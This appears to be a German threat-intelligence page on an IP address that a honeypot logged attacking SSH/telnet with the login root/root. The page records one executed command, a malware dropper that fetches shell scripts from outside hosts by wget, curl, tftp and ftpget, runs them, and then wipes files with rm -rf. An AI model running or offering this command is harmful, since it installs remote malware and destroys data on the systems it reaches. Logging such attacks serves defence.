Aktive Bedrohung • NIEDRIG

35.240.238.240

Herkunftsland🇸🇬 Singapur

Erste Erkennung29.3.2026

Letzte Aktivitat29.3.2026

ISPGoogle LLC

🎯

Gesamtangriffe

🔌

Ports

📡

Angriffsarten

🦠

Malware

Geolokalisierung

Land: 🇸🇬 Singapur
Stadt: Singapore
ASN: AS396982
ISP: Google LLC

Angriffsarten

ssh_telnet_honeypot

Angegriffene Ports

Zugehorige Malware

2ee89245c6dd3edd3e14...→a8937f17243d6f791d0f...→

Versuchte Anmeldedaten

🔐root/root

Ausgefuhrte Befehle

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://38.83.138.59:25884/nz.sh; curl -O http://38.83.138.59:25884/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 206.189.22.92 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 206.189.22.92; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 206.189.22.92 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *

Risikobewertung

/100

NiedrigMittelHochKritisch